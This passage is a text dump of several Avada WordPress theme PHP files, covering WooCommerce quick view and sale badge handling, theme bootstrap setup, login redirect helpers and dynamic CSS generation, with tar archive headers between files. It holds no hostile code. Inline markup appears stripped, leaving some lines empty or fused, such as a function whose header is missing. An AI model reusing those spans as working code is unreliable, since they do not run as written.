the quick view container. * * @access public * @since 6.1 * * @return void */ public function quick_view_load_container() { get_template_part( 'templates/wc-quick-view-container' ); } /** * Creates the product quick view. * * @access public * @since 6.1 * * @return void */ public function quick_view_load_product() { global $post, $product, $woocommerce; check_ajax_referer( 'fusion_quick_view_nonce', 'nonce' ); if ( isset( $_POST['product'] ) ) { $product_id = sanitize_text_field( wp_unslash( $_POST['product'] ) ); $post = get_post( $product_id ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride $product = wc_get_product( $product_id ); if ( current_user_can( 'read_private_posts' ) || 'publish' === $product->get_status() ) { ob_start(); get_template_part( 'templates/wc-quick-view-product' ); $output = ob_get_contents(); ob_end_clean(); echo $output; // phpcs:ignore WordPress.Security.EscapeOutput } } wp_die(); } /** * Enqueue scripts for quick view. * * @access public * @since 6.1 * * @return void */ public function quick_view_enqueue_scripts() { wp_enqueue_script( 'wc-add-to-cart-variation' ); // WooCommerce Bundled Products plugin, load scripts and styles. if ( class_exists( 'WC_PB_QV_Compatibility' ) && ! is_cart() && ! is_checkout() ) { do_action( 'wc_quick_view_enqueue_scripts' ); } } /** * Filter the default catalog ordering value. * * @access public * @since 6.2.2 * * @param string $default_order The default order. * @return string The filtered default oder. */ public function woocommerce_default_catalog_orderby( $default_order ) { if ( ! $default_order ) { $default_order = 'menu_order'; } return $default_order; } /** * Get avada WC localize script vars. * * @access public * @since 7.2 * * @return array The localize WC vars. */ public static function get_avada_wc_vars() { $shop_page_bg_color = fusion_get_option( 'content_bg_color', 'content_bg_color', get_option( 'woocommerce_shop_page_id' ) ); return [ 'order_actions' => __( 'Details', 'Avada' ), 'title_style_type' => Avada()->settings->get( 'title_style_type' ), 'woocommerce_shop_page_columns' => Avada()->settings->get( 'woocommerce_shop_page_columns' ), 'woocommerce_checkout_error' => esc_attr__( 'Not all fields have been filled in correctly.', 'Avada' ), 'related_products_heading_size' => ( false === avada_is_page_title_bar_enabled( get_the_ID() ) ? '2' : '3' ), 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'cart_nonce' => wp_create_nonce( 'update_cart_nonce' ), 'shop_page_bg_color' => $shop_page_bg_color, 'shop_page_bg_color_lightness' => Fusion_Color::new_color( $shop_page_bg_color )->lightness, 'post_title_font_size' => Fusion_Sanitize::convert_font_size_to_px( Avada()->settings->get( 'post_title_typography', 'font-size' ), Avada()->settings->get( 'post_title_typography', 'font-size' ) ), ]; } /** * Does stuff necessary for sale badge text filtering. * * @access public * @since 7.2 * @return void */ public function prepare_sale_flash() { $this->sale_text = Avada()->settings->get( 'woo_sale_badge_text' ); if ( '' !== $this->sale_text ) { if ( false !== strpos( $this->sale_text, '[percentage]' ) ) { $this->used_sale_text_placeholders['percentage'] = true; } if ( false !== strpos( $this->sale_text, '[value]' ) ) { $this->used_sale_text_placeholders['value'] = true; } add_filter( 'woocommerce_sale_flash', [ $this, 'modify_sale_badge' ], 20, 3 ); } } /** * Filter sale flash. * * @access public * @since 7.2 * @param string $html The badge html. * @param object $post The post object. * @param object $product The product object. * @return string */ public function modify_sale_badge( $html, $post, $product ) { $sale_text = $this->sale_text; // Calc percentage. if ( true === $this->used_sale_text_placeholders['percentage'] ) { $sale_text = str_replace( '[percentage]', fusion_library()->woocommerce->calc_product_discount( $product ), $sale_text ); } // Calc value. if ( true === $this->used_sale_text_placeholders['value'] ) { $sale_text = str_replace( '[value]', fusion_library()->woocommerce->calc_product_discount( $product, 'value' ), $sale_text ); } return '' . $sale_text . ''; } /** * Adds JS to supress variation events. * * @access public * @since 7.3 * @return void */ public function supress_variation_events() { if ( ! is_product() ) { return; } ?> ID ) === $shop_page_id ) { $post_type = get_post_type( $post ); $all_templates = wp_get_theme()->get_post_templates(); if ( isset( $all_templates[ $post_type ] ) ) { $page_templates = array_merge( [ 'default' => apply_filters( 'default_page_template_title', esc_html__( 'Default Template', 'fusion-builder' ), 'meta-box' ), ], $all_templates[ $post_type ] ); } } return $page_templates; } /** * Load general template on shop page. * * @access public * @since 7.3 * @param string $template Template string. * @return string */ public function shop_template_loader( $template ) { global $wp_query; $shop_page_id = wc_get_page_id( 'shop' ); if ( ( ! is_search() && is_post_type_archive( 'product' ) ) || is_page( $shop_page_id ) ) { $wp_query->queried_object = $wp_query->post = $GLOBALS['post'] = get_post( wc_get_page_id( 'shop' ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited, Squiz.PHP.DisallowMultipleAssignments.Found $wp_query->queried_object_id = isset( $wp_query->queried_object->ID ) ? (int) $wp_query->queried_object->ID : 0; $wp_query->is_singular = 1; $wp_query->posts = [ $wp_query->queried_object ]; $wp_query->post_count = 1; return get_page_template(); } return $template; } /** * Check whether show WC shop loop is enabled. * * @access public * @since 7.3 * @return boolean */ public function is_wc_shop_loop_enabled() { // Early exit if shop page is not set. if ( -1 === (int) wc_get_page_id( 'shop' ) ) { return false; } $return = 'no' !== fusion_data()->post_meta( wc_get_page_id( 'shop' ) )->get( 'show_wc_shop_loop' ); if ( fusion_is_preview_frame() && Fusion_App()->is_full_refresh() ) { $meta_values = Fusion_App()->get_data( 'meta_values' ); if ( isset( $meta_values['_fusion'] ) && isset( $meta_values['_fusion']['show_wc_shop_loop'] ) ) { $return = 'no' !== $meta_values['_fusion']['show_wc_shop_loop']; } } return $return; } } Avada/includes/bootstrap.php000064400000057725152342437710012144 0ustar00multilingual ) { fusion_library()->multilingual = new Fusion_Multilingual(); } /** * Instantiate Avada_Upgrade classes. * Don't instantiate the class when DOING_AJAX to avoid issues * with the WP HeartBeat API. */ if ( ! function_exists( 'fusion_doing_ajax' ) ) { /** * Wrapper function for wp_doing_ajax, which was introduced in WP 4.7. * * @since 5.1.5 */ function fusion_doing_ajax() { if ( function_exists( 'wp_doing_ajax' ) ) { return wp_doing_ajax(); } return defined( 'DOING_AJAX' ) && DOING_AJAX; } } if ( ! fusion_doing_ajax() ) { Avada_Upgrade::get_instance(); } /** * Instantiates the Avada class. * Make sure the class is properly set-up. * The Avada class is a singleton * so we can directly access the one true Avada object using this function. * * @return Avada */ function Avada() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName return Avada::get_instance(); } Avada(); /** * Instantiate the Avada_Multiple_Featured_Images object. */ new Avada_Multiple_Featured_Images(); /** * Instantiate Avada_Admin_Notices. */ new Avada_Admin_Notices(); /** * Instantiate Avada_Page_Options. */ new Avada_Page_Options(); /** * Instantiate Avada_Portfolio. * This is only needed on the frontend, doesn't do anything for the dashboard. */ if ( ! is_admin() ) { new Avada_Portfolio(); } /** * Instantiate Avada_Social_Icons. * This is only needed on the frontend, doesn't do anything for the dashboard. */ global $social_icons; if ( ! is_admin() ) { if ( class_exists( 'Fusion_Social_Icons' ) ) { $social_icons = new Fusion_Social_Icons(); } else { $social_icons = false; } } /** * Instantiate Avada_fonts. * Only do this while in the dashboard, not needed on the frontend. */ if ( is_admin() || ( function_exists( 'fusion_is_builder_frame' ) && fusion_is_builder_frame() ) ) { new Avada_Fonts(); } /** * Instantiate Avada_Scripts. */ new Avada_Scripts(); /** * Instantiate Avada_Layout_bbPress. * We only need to do this for the frontend, when bbPress is installed. */ if ( ! is_admin() && class_exists( 'bbPress' ) ) { new Avada_Layout_bbPress(); } /** * Instantiate Avada_EventsCalendar * We only need to do this on the frontend if Events Calendar is installed or on customizer preview. */ global $avada_events_calender; if ( ( ! is_admin() || is_customize_preview() || fusion_doing_ajax() ) && class_exists( 'Tribe__Events__Main' ) && class_exists( 'Tribe\Events\Views\V2\Template_Bootstrap' ) ) { $avada_events_calender = new Avada_EventsCalendar(); } /** * The arguments for the Avada options panel. * * @since 6.0 */ global $avada_avadaredux_args; // Set vars for i18n handling. $option_name = Avada::get_option_name(); $is_language_all = Avada::get_language_is_all(); $default_language = Fusion_Multilingual::get_default_language(); if ( $is_language_all && 'fusion_options' === $option_name && 'en' !== $default_language ) { $option_name = Avada::get_option_name() . '_' . $default_language; } $avada_avadaredux_args = [ 'is_language_all' => $is_language_all, 'default_language' => $default_language, 'option_name' => $option_name, 'original_option_name' => Avada::get_original_option_name(), 'version' => Avada()->get_theme_version(), 'textdomain' => 'Avada', 'disable_dependencies' => (bool) ( '0' === Avada()->settings->get( 'dependencies_status' ) ), 'display_name' => 'Avada', 'menu_title' => 'Global Options', 'page_title' => 'Global Options', 'global_variable' => 'fusion_fusionredux_options', 'page_parent' => 'themes.php', 'page_slug' => 'avada_options', 'menu_type' => 'submenu', 'page_permissions' => apply_filters( 'awb_role_manager_access_capability', 'manage_options', 'awb_global_options' ), ]; // Instantiate the Avada_Admin class. if ( is_admin() ) { new Avada_Admin(); } elseif ( ! is_customize_preview() ) { // Instantiate the Avada_Admin_Bar class. new Avada_Admin_Bar(); } /** * Conditionally Instantiate Avada_AvadaRedux. */ $load_avadaredux = false; $load_avada_gfonts = true; if ( is_admin() && isset( $_GET['page'] ) && 'avada_options' === $_GET['page'] ) { // phpcs:ignore WordPress.Security.NonceVerification $load_avadaredux = true; } $http_referer = fusion_get_referer(); if ( $http_referer && false !== strpos( $http_referer, 'avada_options' ) ) { $load_avadaredux = true; $load_avada_gfonts = true; } $avadaredux_export = ( isset( $_GET['action'] ) && false !== strpos( $_GET['action'], 'fusionredux_link_options-fusion_options' ) && isset( $_GET['secret'] ) && '' !== $_GET['secret'] ) ? true : false; // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if ( $avadaredux_export ) { $load_avadaredux = true; $load_avada_gfonts = false; $avada_avadaredux_args['option_name'] = str_replace( 'fusionredux_link_options-', '', $_GET['action'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized } if ( fusion_doing_ajax() && isset( $_POST['action'] ) && 'fusion_reset_all_caches' === $_POST['action'] && isset( $_POST['nonce'] ) ) { $load_avadaredux = true; } if ( $load_avadaredux && current_user_can( apply_filters( 'awb_role_manager_access_capability', 'manage_options', 'awb_global_options' ) ) ) { $avada_avadaredux = new Avada_AvadaRedux( $avada_avadaredux_args ); } if ( function_exists( 'Fusion_App' ) && Fusion_App()->get_builder_status() ) { $load_avada_gfonts = false; } if ( ! is_admin() && $load_avada_gfonts ) { Avada_Google_Fonts::get_instance(); } if ( ! is_admin() ) { AWB_Google_Recaptcha::get_instance(); AWB_Cloudflare_Turnstile::get_instance(); } new Fusion_Dynamic_CSS_From_Options(); /* * Include the TGM configuration * We only need this while on the dashboard. */ if ( is_admin() ) { require_once Avada::$template_dir_path . '/includes/class-avada-tgm-plugin-activation.php'; require_once Avada::$template_dir_path . '/includes/avada-tgm.php'; } if ( is_admin() && isset( $_GET['page'] ) && ( 'avada-prebuilt-websites' === $_GET['page'] || 'avada-setup' === $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification require_once Avada::$template_dir_path . '/includes/class-awb-prebuilt-websites.php'; } /* * Include deprecated functions */ require_once Avada::$template_dir_path . '/includes/deprecated.php'; /** * Metaboxes */ if ( is_admin() ) { require_once Avada::$template_dir_path . '/includes/metaboxes/metaboxes.php'; } /** * Instantiate Avada_System_Status helper class. */ if ( is_admin() && ( isset( $_GET['page'] ) && 'avada-status' === sanitize_text_field( wp_unslash( $_GET['page'] ) ) ) || ( fusion_doing_ajax() && ( ( isset( $_GET['action'] ) && ( 'fusion_check_api_status' === $_GET['action'] || 'fusion_create_forms_tables' === $_GET['action'] || 'awb_copy_multisite_global_options' === $_GET['action'] ) ) || ( isset ($_POST['action'] ) && 'awb_convert_images_in_media_library' === $_POST['action'] ) ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification new Avada_System_Status(); } /** * Load Custom Auth Pages class. */ require_once Avada::$template_dir_path . '/includes/class-awb-custom-auth-pages.php'; /** * Load Maintenance Mode class. */ require_once Avada::$template_dir_path . '/includes/class-awb-maintenance-mode.php'; /** * Instantiate the mega menu framework */ $mega_menu_framework = new Avada_Megamenu_Framework(); /** * Custom Functions */ get_template_part( 'includes/custom-functions' ); require_once Avada::$template_dir_path . '/includes/avada-functions.php'; /** * WPML Config */ if ( defined( 'WPML_PLUGIN_FILE' ) || defined( 'ICL_PLUGIN_FILE' ) ) { require_once Avada::$template_dir_path . '/includes/plugins/wpml.php'; } /** * Include the importer */ if ( is_admin() ) { include Avada::$template_dir_path . '/includes/importer/importer.php'; } /** * Include WP CLI commands. */ if ( defined( 'WP_CLI' ) && WP_CLI ) { include Avada::$template_dir_path . '/includes/cli/shared.php'; include Avada::$template_dir_path . '/includes/cli/register.php'; include Avada::$template_dir_path . '/includes/cli/plugins.php'; include Avada::$template_dir_path . '/includes/cli/import-demo.php'; include Avada::$template_dir_path . '/includes/cli/apply-patches.php'; } /** * Load Woocommerce Configuraion. */ if ( class_exists( 'WooCommerce' ) ) { require_once Avada::$template_dir_path . '/includes/wc-functions.php'; require_once Avada::$template_dir_path . '/includes/class-avada-woocommerce-variations.php'; global $avada_woocommerce; $avada_woocommerce = new Avada_Woocommerce(); } new AWB_View_Count(); if ( class_exists( 'ACF' ) ) { new AWB_ACF(); } /** * The dynamic CSS. */ require_once Avada::$template_dir_path . '/includes/dynamic-css.php'; require_once Avada::$template_dir_path . '/includes/dynamic-css-helpers.php'; global $avada_dynamic_css; $avada_dynamic_css = new Avada_Dynamic_CSS(); /** * Set the $content_width global. */ global $content_width; if ( ! is_admin() && ( ! isset( $content_width ) || empty( $content_width ) ) ) { $content_width = (int) Avada()->layout->get_content_width(); } /** * Adds a counter span element to links. * * @param string $links The links HTML string. */ function avada_cat_count_span( $links ) { preg_match_all( '#\((.*?)\)#', $links, $matches ); if ( ! empty( $matches ) ) { $i = 0; foreach ( $matches[0] as $val ) { $links = str_replace( ' ' . $val, ' ' . $val . '', $links ); $links = str_replace( ' ' . $val, ' ' . $val . '', $links ); $i++; } } return $links; } add_filter( 'get_archives_link', 'avada_cat_count_span' ); add_filter( 'wp_list_categories', 'avada_cat_count_span' ); /** * Ignore nag messages. */ function avada_nag_ignore() { global $current_user; $user_id = $current_user->ID; // If user clicks to ignore the notice, add that to their user meta. if ( isset( $_GET['fusion_richedit_nag_ignore'] ) && '0' === $_GET['fusion_richedit_nag_ignore'] ) { // phpcs:ignore WordPress.Security.NonceVerification add_user_meta( $user_id, 'fusion_richedit_nag_ignore', 'true', true ); } // If user clicks to ignore the notice, add that to their user meta. if ( isset( $_GET['avada_uber_nag_ignore'] ) && '0' === $_GET['avada_uber_nag_ignore'] ) { // phpcs:ignore WordPress.Security.NonceVerification update_option( 'avada_ubermenu_notice', true ); update_option( 'avada_ubermenu_notice_hidden', true ); $referer = fusion_get_referer(); if ( ! $referer ) { $referer = ''; } wp_safe_redirect( $referer ); } } add_action( 'admin_init', 'avada_nag_ignore' ); /** * Support email login on my account dropdown. */ if ( isset( $_POST['fusion_woo_login_box'] ) && 'true' === $_POST['fusion_woo_login_box'] ) { // phpcs:ignore WordPress.Security.NonceVerification add_filter( 'authenticate', 'avada_email_login_auth', 10, 3 ); } /** * Allow loging-in via email. * * @param object $user The user. * @param string $username The username. * @param string $password The password. */ function avada_email_login_auth( $user, $username, $password ) { if ( is_a( $user, 'WP_User' ) ) { return $user; } if ( ! empty( $username ) ) { $username = str_replace( '&', '&', stripslashes( $username ) ); $user = get_user_by( 'email', $username ); if ( isset( $user, $user->user_login, $user->user_status ) && 0 === (int) $user->user_status ) { $username = $user->user_login; } } return wp_authenticate_username_password( null, $username, $password ); } /** * No redirect on woo my account dropdown login when it fails. */ if ( isset( $_POST['fusion_woo_login_box'] ) && 'true' === $_POST['fusion_woo_login_box'] ) { // phpcs:ignore WordPress.Security.NonceVerification add_action( 'init', 'avada_load_login_redirect_support' ); } /** * Tweaks the login redirect for WooCommerce. */ function avada_load_login_redirect_support() { if ( class_exists( 'WooCommerce' ) ) { // When on the my account page, do nothing. if ( ! empty( $_POST['login'] ) ) { if ( isset( $_POST['_wpnonce'] ) && ! empty( $_POST['_wpnonce'] ) ) { $nonce = sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ); // phpcs:ignore WordPress.Security.NonceVerification if ( wp_verify_nonce( $nonce, 'woocommerce-login' ) ) { return; } } } add_filter( 'login_redirect', 'avada_login_fail', 10, 3 ); } } /** * Avada Login Fail Test. * * @param string $url The URL. * @param string $raw_url The Raw URL. * @param WP_User|WP_Error $user User. * @return string */ function avada_login_fail( $url = '', $raw_url = '', $user = '' ) { if ( ! is_account_page() ) { if ( isset( $_SERVER ) && isset( $_SERVER['HTTP_REFERER'] ) && esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ) ) { $referer_array = wp_parse_url( esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ) ); $parsed_url = ( isset( $_SERVER['SERVER_PORT'] ) ) ? wp_parse_url( esc_url_raw( wp_unslash( $_SERVER['SERVER_PORT'] ) ) ) : [ 'host' => '80', ]; // Make sure it works ok for ports other than 80. $port = ( isset( $_SERVER['SERVER_PORT'] ) ) ? ':' . $parsed_url['host'] : ':80'; $port = ( ':80' === $port ) ? '' : $port; // Make sure host doesn't have a trailing slash and append the port. $host = untrailingslashit( $referer_array['host'] ) . $port; // Make sure path has a slash at the beginning. $path = $referer_array['path']; if ( 0 !== strpos( $referer_array['path'], '/' ) ) { $path = '/' . $referer_array['path']; } // Combine the above to a $referer. if ( false !== strpos( $port, '443' ) ) { $referer = 'https://' . $host . $path; } else { $referer = '//' . $host . $path; } // If there's a valid referrer, and it's not the default log-in screen. if ( ! empty( $referer ) && ! strstr( $referer, 'wp-login' ) && ! strstr( $referer, 'wp-admin' ) ) { if ( is_wp_error( $user ) ) { // Let's append some information (login=failed) to the URL for the theme to use. wp_safe_redirect( add_query_arg( [ 'login' => 'failed', ], $referer ) ); } else { wp_safe_redirect( $referer ); } exit; } } } return $url; } /** * Show a shop page description on product archives. */ function woocommerce_product_archive_description() { if ( is_post_type_archive( 'product' ) && in_array( absint( get_query_var( 'paged' ) ), [ 0, 1 ], true ) ) { $shop_page = get_post( wc_get_page_id( 'shop' ) ); if ( $shop_page ) { $description = apply_filters( 'the_content', $shop_page->post_content ); if ( $description ) { echo '
    ' . $description . '
    '; // phpcs:ignore WordPress.Security.EscapeOutput } } } } /** * Layerslider API. */ function avada_layerslider_ready() { if ( class_exists( 'LS_Sources' ) ) { LS_Sources::addSkins( Avada::$template_dir_path . '/includes/ls-skins' ); } if ( defined( 'LS_PLUGIN_BASE' ) ) { remove_action( 'after_plugin_row_' . LS_PLUGIN_BASE, 'layerslider_plugins_purchase_notice', 10, 3 ); } } add_action( 'layerslider_ready', 'avada_layerslider_ready' ); function awb_init_patcher() { // Init patcher only in Dashboard. if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { /** * Istantiate the auto-patcher tool. */ global $avada_patcher; $avada_patcher_args = [ 'context' => 'avada', 'version' => AVADA_VERSION, 'name' => 'Avada', 'parent_slug' => 'avada', 'page_title' => esc_attr__( 'Avada Patcher', 'Avada' ), 'menu_title' => esc_attr__( 'Patcher', 'Avada' ), 'classname' => 'Avada', 'bundled' => [], ]; $avada_plugins = [ 'fusion-builder' => 'fusion-builder/fusion-builder.php', 'fusion-core' => 'fusion-core/fusion-core.php', 'fusion-white-label-branding' => 'fusion-white-label-branding/fusion-white-label-branding.php', ]; if ( ! function_exists( 'is_plugin_active' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } foreach ( $avada_plugins as $plugin_context => $plugin_path ) { if ( is_plugin_active( $plugin_path ) ) { $avada_patcher_args['bundled'][] = $plugin_context; } } $avada_patcher = new Fusion_Patcher( $avada_patcher_args ); } } add_action( 'after_setup_theme', 'awb_init_patcher' ); function awb_init_maintenance() { /** * During updates sometimes there are changes that will break a site. * We're adding a maintenance page to make sure users don't see a broken site. * As soon as the update is complete the site automatically returns to normal mode. */ $maintenance = false; $users_message = esc_html__( 'Our site is currently undergoing scheduled maintenance. Please try again in a moment.', 'Avada' ); // Check if we're currently update Avada. if ( Avada::$is_updating ) { $maintenance = true; $admin_message = esc_html__( 'Currently updating the Avada Theme. Your site will be accessible once the update finishes', 'Avada' ); } /** * Make sure that if the fusion-core plugin is activated, * it's at least version 2.0. */ if ( class_exists( 'FusionCore_Plugin' ) ) { $fc_version = FUSION_CORE_VERSION; if ( version_compare( $fc_version, '2.0', '<' ) ) { $maintenance = true; /* translators: The "follow this link" link. */ $admin_message = sprintf( esc_attr__( 'The Avada-Core plugin needs to be updated before your site can exit maintenance mode. Please %s to update the plugin.', 'Avada' ), '' . esc_attr__( 'follow this link', 'Avada' ) . '' ); } } /** * If we're on maintenance mode, show the screen. */ if ( $maintenance ) { new Avada_Maintenance( true, $users_message, $admin_message ); } } add_action( 'after_setup_theme', 'awb_init_maintenance' ); /** * Class for adding Avada specific data to builder. * These only affect the dashboard so are not needed when in the front-end. */ if ( ( Avada_Helper::is_post_admin_screen() || ( function_exists( 'fusion_is_builder_frame' ) && fusion_is_builder_frame() ) ) && defined( 'FUSION_BUILDER_PLUGIN_DIR' ) && ! fusion_doing_ajax() ) { Fusion_Builder_Filters::get_instance(); } /** * We will use builder options in Avada, no need for FB to instantiate redux. */ add_theme_support( 'fusion-builder-options' ); add_filter( 'fusion_options_label', 'avada_set_options_label' ); add_filter( 'fusion_builder_options_url', 'avada_set_options_url' ); /** * Sets options label. * * @since 5.1 * @param string $label Label name of options page. * @return string */ function avada_set_options_label( $label ) { return esc_html__( 'Global Options', 'Avada' ); } /** * Set options page URL. * * @since 5.1 * @param string $url URL to the options page. * @return string */ function avada_set_options_url( $url ) { return admin_url( 'themes.php?page=avada_options' ); } if ( Avada()->registration->should_show() && function_exists( 'Fusion_App' ) && Fusion_App()->get_builder_status() ) { $fusion_builder_demo_options_importer = new Fusion_Builder_Demos_Theme_Options(); } /** * Filter a sanitized key string. * * @since 5.0.2 * @param string $key Sanitized key. * @param string $raw_key The key prior to sanitization. * @return string */ function avada_auto_update( $key, $raw_key ) { return ( 'avada' === $key && 'Avada' === $raw_key ) ? $raw_key : $key; } /** * Check if doing an ajax theme update, * if so make sure Avada theme name is not changed to lowercase. */ if ( fusion_doing_ajax() && isset( $_POST['action'] ) && 'update-theme' === $_POST['action'] ) { // phpcs:ignore WordPress.Security.NonceVerification add_filter( 'sanitize_key', 'avada_auto_update', 10, 2 ); } /** * Include Avada Builder shared options support. */ if ( class_exists( 'FusionBuilder' ) ) { require_once Avada::$template_dir_path . '/includes/fusion-shared-options.php'; } /** * Reset all Fusion Caches. * * @since 5.1 * * @param array $delete_cache An array of caches to delete. */ function avada_reset_all_caches( $delete_cache = [] ) { // Reset fusion-caches. if ( ! class_exists( 'Fusion_Cache' ) ) { require_once Avada::$template_dir_path . '/includes/lib/inc/class-fusion-cache.php'; } $fusion_cache = new Fusion_Cache(); $fusion_cache->reset_all_caches( $delete_cache ); } /** * Init the languages updater. * * @since 6.1 */ if ( ! class_exists( 'Fusion_Languages_Updater_API' ) ) { require_once Avada::$template_dir_path . '/includes/class-fusion-languages-updater-api.php'; } new Fusion_Languages_Updater_API( 'theme', 'Avada', AVADA_VERSION ); /** * Init the Server Rules object, adds necessary filter. * * @since 7.4 */ if ( is_admin() && fusion_doing_ajax() && isset( $_POST['action'] ) && ( 'fusion_options_ajax_save' === $_POST['action'] || 'fusion_app_save_post_content' === $_POST['action'] || 'awb_performance_save' === $_POST['action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $avada_server_rules = Avada_Server_Rules::get_instance(); } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-avada-output-callbacks.php000064400000002752152342437710015547 0ustar00is_color_transparent() ? '0' : ''; } /** * Callback for the page_title_border_color option. * * @static * @access public * @since 6.0 * @param string $value The value. * @return string */ public static function page_title_border_color( $value ) { $po_ptb_border_color = fusion_get_page_option( 'page_title_border_color', Avada()->fusion_library->get_page_id() ); return ( ( Fusion_Color::new_color( Avada()->settings->get( 'page_title_border_color' ) )->is_color_transparent() && empty( $po_ptb_border_color ) ) || Fusion_Color::new_color( $po_ptb_border_color )->is_color_transparent() ) ? 'none' : ''; } /** * Returns unfiltered option. * * @static * @access public * @since 6.0 * @param string $value The value. * @return string */ public static function unfiltered( $value ) { return $value; } } Avada/includes/class-fusion-dynamic-css-from-options.php000064400000054173152342437710017371 0ustar00dynamic_css_helpers = $dynamic_css->get_helpers(); add_filter( 'fusion_dynamic_css_array', [ $this, 'dynamic_css_array_filter_to' ], 1002 ); add_filter( 'fusion_dynamic_css_array', [ $this, 'dynamic_css_array_filter_po' ], 1003 ); } /** * Adds our TO CSS to the global compiler CSS array. * * @access public * @since 6.0.0 * @param array $css The CSS array. * @return array The original CSS merged with the generated CSS. */ public function dynamic_css_array_filter_to( $css ) { // Parse TO options. $this->css_array = []; $this->init( 'TO' ); // Combine CSS. return array_replace_recursive( $this->css_array, $css ); } /** * Adds our PO CSS to the global compiler CSS array. * * @access public * @since 6.0.0 * @param array $css The CSS array. * @return array The original CSS merged with the generated CSS. */ public function dynamic_css_array_filter_po( $css ) { // Parse PO options. $this->css_array = []; if ( ! is_404() && ! is_search() ) { // 404 & search pages don't have POs (not real pages) $this->init( 'PO' ); } // Return final combined CSS. return array_replace_recursive( $css, $this->css_array ); } /** * Init method. * * Loads any other methods we need and adds all actions & filters. * * @access private * @since 6.0.0 * @param string $context TO/PO. * @return void */ private function init( $context = 'TO' ) { // Set builder status. $this->set_builder_status(); if ( 'PO' === $context ) { // Get options. if ( ! class_exists( 'PyreThemeFrameworkMetaboxes' ) ) { include_once Avada::$template_dir_path . '/includes/metaboxes/metaboxes.php'; } // Parse sections. $page_options = PyreThemeFrameworkMetaboxes::$instance; if ( ! $page_options ) { $page_options = new PyreThemeFrameworkMetaboxes(); } $this->parse_sections( 'PO', $page_options->get_options() ); // Generate CSS from fields. $this->generate_css_from_fields( 'PO' ); // Early exit. return; } // Get the option-name. $this->option_name = Fusion_Settings::get_option_name(); // Get the option-value. $this->option_value = get_option( $this->option_name, [] ); // Parse sections. $this->parse_sections( 'TO', $this->get_options( 'Avada' ) ); $this->parse_sections( 'TO', $this->get_options( 'FB' ) ); // Generate CSS from fields. $this->generate_css_from_fields( 'TO' ); } /** * Set builder status * * @access private * @since 6.0.0 * @return void */ private function set_builder_status() { $builder_status = false; if ( function_exists( 'fusion_is_preview_frame' ) ) { $builder_status = fusion_is_preview_frame(); } $this->builder_status = $builder_status; } /** * Get options. * * @access private * @since 6.0.0 * @param string $context Avada|FB. * @return array The array of options. */ private function get_options( $context = 'Avada' ) { // Get Avada-Builder options if $context is set to FB. if ( 'FB' === $context ) { $fusion_builder_options = []; if ( defined( 'FUSION_BUILDER_PLUGIN_DIR' ) ) { if ( ! class_exists( 'Fusion_Builder_Options' ) ) { require_once FUSION_BUILDER_PLUGIN_DIR . 'inc/class-fusion-builder-options.php'; } $fusion_builder_options = (array) Fusion_Builder_Options::get_instance(); } if ( ! isset( $fusion_builder_options['sections'] ) ) { $fusion_builder_options['sections'] = []; } return $fusion_builder_options['sections']; } $avada_options = []; if ( class_exists( 'Avada_Options' ) ) { $avada_options = (array) Avada_Options::get_instance(); } if ( ! isset( $avada_options['sections'] ) ) { $avada_options['sections'] = []; } return $avada_options['sections']; } /** * Parse sections. * * @access private * @since 6.0.0 * @param string $context TO/PO. * @param array $options The options we're going to parse. * @return void */ private function parse_sections( $context, $options = [] ) { if ( empty( $options ) ) { return; } foreach ( $options as $section ) { // Continue if section is hidden. if ( isset( $section['hidden'] ) && true === $section['hidden'] ) { continue; } if ( isset( $section['fields'] ) ) { foreach ( $section['fields'] as $field ) { if ( isset( $field['type'] ) ) { if ( 'sub-section' === $field['type'] || 'accordion' === $field['type'] ) { if ( isset( $field['fields'] ) && is_array( $field['fields'] ) ) { foreach ( $field['fields'] as $subfield ) { if ( isset( $subfield['hidden'] ) && true === $subfield['hidden'] ) { continue; } $this->parse_field( $subfield, $context ); } } } else { if ( isset( $field['hidden'] ) && true === $field['hidden'] ) { continue; } $this->parse_field( $field, $context ); } } } } } } /** * Process field. * * Populates the $this->fields array. * * @access private * @since 6.0.0 * @param array $field The field. * @param string $context TO/PO. * @return void */ private function parse_field( $field, $context ) { // No need to proceed if field has no ID or no output defined. if ( ! isset( $field['id'] ) || ( ! isset( $field['output'] ) && ! isset( $field['css_vars'] ) ) ) { return; } // Add the field to the $this->fields array. $this->merge_field( $field ); } /** * Make sure the field is properly merged and not just replaced. * * @access private * @since 6.0 * @param array $field The field. * @return void Adds/modifies the field to $this->fields. */ private function merge_field( $field ) { // If the field doesn't already exist, this is a simple matter. if ( ! isset( $this->fields[ $field['id'] ] ) ) { $this->fields[ $field['id'] ] = $field; return; } // If output & css_vars are not defined then we don't need to do anything. if ( ( ! isset( $field['output'] ) || empty( $field['output'] ) ) && ( ! isset( $field['css_vars'] ) || empty( $field['css_vars'] ) ) ) { return; } if ( isset( $field['output'] ) && is_array( $field['output'] ) && ! empty( $field['output'] ) ) { // If the field that already exists in $this->fields doesn't have an output argument, // Then replace it with this one. if ( ! isset( $this->fields[ $field['id'] ]['output'] ) || empty( $this->fields[ $field['id'] ]['output'] ) ) { $this->fields[ $field['id'] ]['output'] = $field['output']; } else { // If we got this far, both fields have output defined so we need to merge those. foreach ( $field['output'] as $output ) { if ( ! in_array( $output, $this->fields[ $field['id'] ]['output'] ) ) { // phpcs:ignore WordPress.PHP.StrictInArray $this->fields[ $field['id'] ]['output'][] = $output; } } } } if ( isset( $field['css_vars'] ) && is_array( $field['css_vars'] ) && ! empty( $field['css_vars'] ) ) { // If the field that already exists in $this->fields doesn't have a css_vars argument, // Then replace it with this one. if 